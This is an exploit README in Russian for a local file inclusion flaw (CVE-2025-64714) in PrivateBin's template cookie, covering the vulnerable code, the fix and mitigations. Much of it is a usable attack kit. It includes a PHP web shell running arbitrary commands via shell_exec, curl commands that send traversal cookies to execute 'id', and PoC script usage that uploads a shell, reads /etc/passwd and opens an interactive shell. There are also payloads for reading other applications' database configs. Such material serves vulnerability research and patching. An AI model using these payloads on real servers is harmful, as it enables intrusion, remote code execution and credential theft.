
Степень серьёзности: Средняя (CVSS v3.1: 5.8)
Вектор:AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Затронутые версии: PrivateBin >= 1.7.7
Исправленная версия: 2.0.3
CWE: CWE-23 (Relative Path Traversal), CWE-73 (External Control of File Name or Path), CWE-98 (PHP File Inclusion)
Официальный бюллетень: https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
Автор отчёта: Benoit Esnard
В версии PrivateBin 1.7.7 появилась функция переключения шаблонов, позволяющая пользователям сохранять предпочитаемую визуальную тему с помощью cookie template. Из-за недостаточной проверки значения cookie неаутентифицированный атакующий может передать последовательность обхода пути (path traversal) (например, ../), в результате чего сервер подключит произвольный PHP-файл из-за пределов предназначенного каталога tpl/ — это классическая уязвимость локального включения файлов (Local File Inclusion, LFI).
В сочетании с отдельным примитивом записи (некорректно настроенная точка загрузки, другая уязвимость или локальный доступ) эта LFI может привести к удалённому выполнению кода (Remote Code Execution, RCE).
44f8cfb, v1.7.7)До версии 1.7.7 метод TemplateSwitcher::isTemplateAvailable() принимал только те шаблоны, которые входили в предопределённый список разрешённых:
// SAFE (before 1.7.7)
public static function isTemplateAvailable(string $template): bool
{
return in_array($template, self::getAvailableTemplates());
}
В версии 1.7.7 был добавлен запасной путь для поддержки сторонних тем. Новый код проверяет, существует ли файл на диске, вместо проверки по безопасному списку:
// VULNERABLE (1.7.7 – 2.0.2)
public static function isTemplateAvailable(string $template): bool
{
$available = in_array($template, self::getAvailableTemplates());
if (!$available && !View::isBootstrapTemplate($template)) {
$path = View::getTemplateFilePath($template);
$available = file_exists($path); // ← trusts user-supplied $template
}
return $available;
}
Метод View::getTemplateFilePath() просто конкатенирует переданное пользователем значение в путь файловой системы:
// Simplified
return PATH . 'tpl' . DIRECTORY_SEPARATOR . $template . '.php';
При template=../cfg/conf итоговый путь становится следующим:
/var/www/privatebin/tpl/../cfg/conf.php
──────────────────────────────────
= /var/www/privatebin/cfg/conf.php
Здесь нет вызова realpath(), нет удаления последовательностей .. и нет проверки, что итоговый путь остаётся в пределах tpl/.
Как только isTemplateAvailable() возвращает true, метод View::draw() безусловно подключает путь:
public function draw($template)
{
$path = self::getTemplateFilePath($template);
if (!file_exists($path)) {
throw new Exception('Template ' . $template . ' not found!', 80);
}
extract($this->_variables);
include $path; // ← attacker-controlled path included here
}
Метод extract($this->_variables) также выполняется перед подключением, что потенциально засоряет пространство имён переменных, доступное подключаемому файлу.
Единственная дополнительная защита — проверка, блокирующая строки, начинающиеся с bootstrap-:
if (!$available && !View::isBootstrapTemplate($template)) { … }
Метод isBootstrapTemplate() возвращает true только когда строка начинается с bootstrap-. Строка обхода пути вида ../data/shell тривиально обходит эту проверку.
Оба условия должны выполняться одновременно:
| # | Условие |
|---|---|
| 1 | В cfg/conf.php установлено templateselection = true (не значение по умолчанию) |
| 2 | Атакующий может указать существующий .php-файл через относительный путь от tpl/ |
Для чистого LFI / утечки информации условие 2 уже выполняется за счёт существующих PHP-файлов PrivateBin.
Для RCE атакующему дополнительно требуется примитив записи, чтобы разместить PHP-шелл в доступном каталоге (например, data/, доступные для записи каталоги загрузок и т. п.).
Атакующий читает собственные PHP-файлы PrivateBin. Большинство из них защищены строкой-заглушкой, которая приводит к ответу 403 или 500, однако сам ответ подтверждает LFI.
Cookie: template=../cfg/conf
Итоговый путь на стороне сервера: tpl/../cfg/conf.php → cfg/conf.php
Даже ответ 500 — значимый сигнал: он доказывает, что файл был достигнут, а PHP-движок попытался его выполнить.
⚠️ Важное предусловие: CVE-2025-64714 — это уязвимость локального включения файлов (Local File Inclusion): она может только подключать файлы, которые уже существуют на сервере. Сама по себе она не даёт возможности записи. Для достижения RCE необходимо сначала получить примитив записи через совершенно отдельный вектор (например, уязвимость загрузки файлов в другом компоненте, SSRF к внутреннему сервису или прямой доступ к файловой системе в среде CTF/лаборатории). Без примитива записи режимы
--cmdи--interactivePoC не дадут эффекта. Скрипт PoC лишь проверяет наличие веб-шелла, который вы должны разместить другими средствами.
Шаг 1 — Разместите веб-шелл с помощью любого вектора записи (например, другой уязвимости загрузки файлов, SSRF к внутреннему сервису или прямого доступа к файловой системе в сценарии CTF/лаборатории):
// /var/www/privatebin/data/shell.php
<?php if(isset($_REQUEST['cmd'])){echo '<pre>'.shell_exec($_REQUEST['cmd']).'</pre>';} ?>
Шаг 2 — Активируйте LFI через cookie шаблона:
Cookie: template=../data/shell
Итоговый путь: tpl/../data/shell.php → data/shell.php ✓
Шаг 3 — Выполните команды через GET-параметр:
curl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
Ответ:
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
Если другие PHP-приложения используют тот же корневой каталог веб-сервера (обычно в общем хостинге), их конфигурационные файлы могут быть доступны:
Cookie: template=../../other_app/config/database
pip install requests
# 1. Detect whether the target is vulnerable
python3 poc.py --url https://bin.example.com --detect
# 2. Trigger LFI to read a specific PHP file
python3 poc.py --url https://bin.example.com --template ../cfg/conf
# 3. Upload + trigger webshell + run single command (RCE chain)
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--cmd "cat /etc/passwd"
# 4. Interactive pseudo-shell
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--interactive
# Detection probe
curl -s -k --cookie 'template=../cfg/conf' https://bin.example.com
# RCE (after writing shell to data/pwn.php)
curl -s -k \
--cookie 'template=../data/pwn' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
Собственный анализ команды PrivateBin показал: из примерно 300 публично перечисленных экземпляров у 11 был включён параметр templateselection, и ни один не имел незащищённого конфигурационного файла на момент раскрытия. Тем не менее уязвимость остаётся значимой в средах с некорректными настройками или вторичными уязвимостями записи.
Обновитесь до PrivateBin 2.0.3 или новее. Исправление возвращает строгую проверку по списку разрешённых — значение cookie template принимается только в том случае, если оно точно совпадает с именем шаблона из настроенного списка availabletemplates.
Отключите выбор шаблона в cfg/conf.php:
[main]
templateselection = false
Это значение по умолчанию; явно задать его нужно только в том случае, если оно было включено ранее.
Этот репозиторий предоставляется только в образовательных целях и для авторизованного тестирования безопасности. Автор не несёт ответственности за любое неправомерное использование. Всегда получайте явное письменное разрешение перед тестированием систем, которые вам не принадлежат. Несанкционированная эксплуатация компьютерных систем незаконна в большинстве юрисдикций.
| Вектор атаки | Влияние | Примечания |
|---|
| LFI — конфигурация PrivateBin | Ограниченное | В файле конфигурации по умолчанию есть строка защиты PHP; приводит к ответам 403/500 |
| LFI — файлы данных paste | Ограниченное | Каждый файл paste содержит ту же строку защиты |
| LFI — сторонние PHP-файлы | Высокое | Зависит от приложений, размещённых на том же сервере |
| LFI + примитив записи → RCE | Критическое | Полное выполнение команд от имени пользователя веб-сервера |